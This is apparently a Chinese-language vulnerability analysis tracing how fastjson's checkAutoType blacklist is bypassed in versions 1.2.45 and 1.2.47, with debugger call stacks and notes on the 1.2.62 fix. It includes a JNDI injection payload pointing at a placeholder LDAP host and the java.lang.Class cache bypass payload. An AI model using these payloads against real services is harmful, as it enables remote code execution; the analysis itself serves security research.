fastjson 1.2.45
1.2.44中对[进行了判断,我们用1.2.43的POC,然后下个JSONException的异常断点,看看是怎么判断的
运行后,在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)成功拦截
分析一下,发现如果开头是[就直接抛出异常
那再看看1.2.41里面的绕法呢,前面加个L,后面加个;,发现会检查结尾是否为;,是的话也抛出异常
当然这个版本既然有RCE,肯定不是之前的方法绕过的,这次是通过不在黑名单里面的类来绕过的
{“@type”:“org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,“properties”:{“data_source”:“ldap://x.x.x.x/Exp”}}
** fastjson 1.2.47**
这个版本绕过了autoTypeSupport检测, ** 不开启** ** ast** ** 依然可以利用** (1.2.25 -
1.2.45 这些绕过都是需要开启ast的)
Payload:
{
"a":
{
"@type": "java.lang.Class",
"val": "org.example.User"
},
"b":
{
"@type": "org.example.User",
"username": "123456",
"age": 123
}
}
绕过原理:
利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过
这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson
cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
debug分析:
在setXXX的地方下断点,运行看下调用堆栈信息
setUsername:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:124, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1078, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:20, App (org.example)
进入到parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)开始下断点重新运行分析
跟进,一直F8,识别到传入的参数a,继续向下,识别到后面还是{开头后,递归调用parseObject
继续往后识别到@type
然后就是进入checkAutoType检查,因为java.lang.Class在this.deserializers.buckets里面,所以直接返回了class
java.lang.Class
通过了checkAutoType检查后,常规调用deserializer.deserialze进行反序列化,但这里是com.alibaba.fastjson.serializer.MiscCodec#deserialze
这里会取出我们的变量val的值,也是我们传入的恶意类
然后就是一系列的Class的判断,一直到Class.class,然后会进入loadClass
跟进loadClass,一直跟,发现在cache为true的时候,会直接给咱们的恶意类加入到mappings中,而这个mappings是不是看着很眼熟?后面分析
这个cache默认就是为true
然后开始处理字段b,和上面类似,我们一直到checkAutoType
可以看到此处如果开启了autoTypeSupport检查会进入黑名单检查,反而影响我们的payload
跟进下方的getClassFromMapping,可以看到就是上面我们添加恶意类的那个Mapping,从此绕过了checkAutoType检查
到此差不多就结束了,大佬就是大佬,太牛了
** fastjson 1.2.62**
1.2.47后肯定修复了,怎么修的呢?我们用1.2.62去试试1.2.47的POC
抛出了一场,然后下个异常断点,分析一下,看样子是前面某个地方设置了autoTypeSupport的值
咱们追踪一下这个变量,下个字段断点
发现来源是这
跟一下AUTO_SUPPORT,原来是从配置文件里面读是否开启了autoTypeSupport。。。大意了